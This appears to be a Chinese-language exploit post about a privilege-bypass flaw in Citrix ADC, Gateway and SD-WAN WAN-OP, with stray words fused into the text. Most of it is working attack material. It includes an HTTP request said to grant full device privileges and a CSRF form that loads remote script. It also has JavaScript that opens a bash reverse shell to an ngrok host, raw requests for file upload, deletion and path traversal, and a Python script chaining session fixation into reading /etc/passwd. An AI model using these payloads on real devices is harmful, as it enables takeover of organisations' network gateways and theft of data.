Citrix Systems Citrix Application Delivery Controller(ADC)等都是美國思傑系統(Citrix Systems)公司的產品。Citrix Application Delivery Controller是一款應用交付控制器。Citrix Systems Gateway(Citrix Systems NetScaler Gateway)是一套安全的遠程接入解決方案。Citrix System SDWAN WAN-OP是一款SD-WAN(虛擬軟件定義的廣域網)設備。 Citrix Systems Citrix ADC、Citrix Gateway和Citrix SDWAN WAN-OP中存在安全漏洞。攻擊者可利用該漏洞繞過權限限制。html
發送以下payload便可獲取設備最高權限python
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 Host: citrix.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: SESSID=05afba59ef8e0e35933f3bc266941337 Upgrade-Insecure-Requests: 1
利用視頻以下
git
payload 以下github
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://citrix.local/menu/stapp" method="POST"> <input type="hidden" name="sid" value="254" /> <input type="hidden" name="pe" value="1,2,3,4,5" /> <input type="hidden" name="appname" value="%0a</title><script src='http://localhost:9090/code_exec.js'></script>" /> <input type="hidden" name="au" value="1" /> <input type="hidden" name="username" value="nsroot" /> <input type="submit" value="Submit request" /> </form> </body></html>
function load(url, callback) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { rand = callback(xhr.response); exec_command(rand); } } xhr.open('GET', url, true); xhr.send('');} function get_rand(payload) { var lines = payload.split("\n"); for(var i = 0; i < lines.length; i++) { if (lines[i].includes('var rand = "')) { var rand = lines[i].split('"')[1] return rand; } }} function exec_command(rand) { url = '/rapi/remote_shell' command = 'bash -c \"bash -i >%26 /dev/tcp/0.tcp.ngrok.io/16588 0>%261\"' var obj = { "params":{ "warning":"YES" }, "remote_shell":{ "command":command, "prompt":">", "target":"shell", "suppress":0, "execute_in_partition":"" } } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { response = JSON.parse(xhr.response); alert(response['remote_shell']['output']); } } xhr.open('POST', url, true); xhr.setRequestHeader('rand_key', rand) xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded') xhr.send('object=' + JSON.stringify(obj)); } var url = '/menu/stc';load(url, get_rand)
POST /rapi/uploadtext HTTP/1.1Host: citrix.localUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://citrix.local/menu/neoDNT: 1rand_key: 331543635.1580073639558554Connection: closeCookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20PageUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 99 object={"uploadtext":{"filedir":"/tmp","filedata":"test","filename":"test.txt"}}
POST /rapi/filedownload?filter=remove:1,path:%2ftmp%2ftest HTTP/1.1 Host: citrix.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://citrix.local/menu/neo If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT rand_key: 2061490565.1580290269373855 DNT: 1 X-NITRO-USER: henk X-NITRO-PASS: henk Connection: close Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; rdx_pagination_size=25%20Per%20Page; SESSID=05afba59ef8e0e35933f3bc266941337 Content-Type: application/xml Content-Length: 31 <clipermission></clipermission>
POST /rapi/movelicensefiles HTTP/1.1 Host: citrix.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://citrix.local/menu/neo If-Modified-Since: Thu, 01 Jan 1970 05:30:00 GMT DNT: 1 Content-Type: application/x-www-form-urlencoded Cookie: SESSID=9ed492e6ff1876d44ddcaec143d2f949 rand_key: 1384537322.1580549312074652 Content-Length: 52 object={"movelicensefiles":{"name":"../netscaler/portal/modules/STAT"}}
POST /rapi/uploadtext HTTP/1.1 Host: citrix.local User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://citrix.local/menu/neo DNT: 1 rand_key: 1467045781.1580550597345443 X-NITRO-USER: henk X-NITRO-PASS: henk Connection: close Cookie: startupapp=neo; is_cisco_platform=0; st_splitter=350px; SESSID=05afba59ef8e0e35933f3bc266941337; rdx_pagination_size=25%20Per%20Page Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 114 object={"uploadtext":{"filedir":false,"filedata":"data","filename":"/var/tmp/new_directory/this_will_be_removed"}}
#!/usr/bin/env python import requestsimport sysimport stringimport randomimport jsonfrom urllib.parse import quote # Slashes need to be urlencoded PAYLOAD='%2fetc%2fpasswd' requests.packages.urllib3.disable_warnings() def random_string(length=8): chars = string.ascii_letters + string.digits random_string = ''.join(random.choice(chars) for x in range(length)) return random_string def create_session(base_url, session): url = '{0}/pcidss/report'.format(base_url) params = { 'type':'allprofiles', 'sid':'loginchallengeresponse1requestbody', 'username':'nsroot', 'set':'1' } headers = { 'Content-Type':'application/xml', 'X-NITRO-USER':random_string(), 'X-NITRO-PASS':random_string(), } data = '<appfwprofile><login></login></appfwprofile>' session.post(url=url, params=params, headers=headers, data=data, verify=False) return session def fix_session(base_url, session): url = '{0}/menu/ss'.format(base_url) params = { 'sid':'nsroot', 'username':'nsroot', 'force_setup':'1' } session.get(url=url, params=params, verify=False) def get_rand(base_url, session): url = '{0}/menu/stc'.format(base_url) r = session.get(url=url, verify=False) for line in r.text.split('\n'): if 'var rand =' in line: rand = line.split('"')[1] return rand def do_lfi(base_url, session, rand): url = '{0}/rapi/filedownload?filter=path:{1}'.format(base_url, PAYLOAD) headers = { 'Content-Type':'application/xml', 'X-NITRO-USER':random_string(), 'X-NITRO-PASS':random_string(), 'rand_key':rand } data = '<clipermission></clipermission>' r = session.post(url=url, headers=headers, data=data, verify=False) print (r.text) def main(base_url): print ('[-] Creating session..') session = requests.Session() create_session(base_url, session) print ('[+] Got session: {0}'.format(session.cookies.get_dict()['SESSID'])) print('[-] Fixing session..') fix_session(base_url, session) print ('[-] Getting rand..') rand = get_rand(base_url, session) print ('[+] Got rand: {0}'.format(rand)) print ('[-] Re-breaking session..') create_session(base_url, session) print ('[-] Getting file..') do_lfi(base_url, session, rand) if __name__ == '__main__': base_url = sys.argv[1] main(base_url)